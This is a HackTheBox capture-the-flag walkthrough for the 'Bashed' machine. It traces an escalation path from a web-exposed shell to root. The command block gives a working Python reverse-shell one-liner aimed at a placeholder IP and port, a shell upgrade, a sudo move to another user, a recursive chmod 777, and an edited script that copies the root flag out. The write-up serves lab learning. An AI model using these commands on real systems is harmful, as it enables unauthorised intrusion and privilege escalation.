Bashed writeup & walkthrough

Bashed is an easy HackTheBox Linux machine where a web-exposed bash shell leads to a reverse shell, sudo misconfiguration allows lateral movement, and a world-writable Python script is abused to read the root flag.

HackTheBox - Bashed

Access Path

no access => www-data => scriptmanager => root

The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level.

Command Flow

These notes preserve the original command sequence while grouping it in a command block for cleaner rendering.

# Found a web directory exposing a bash shell
# Gained reverse shell with:
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("[ip]", [port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Upgraded to a stable shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Ran sudo -l => allowed to run bash as another user:
sudo -u [user] /bin/bash -i

# Searched / for writable directories => found /scripts
chmod -R 777 scripts/

# Edited Python script for privilege escalation:
import os; os.system("cat /root/root.txt > /tmp/readme.txt")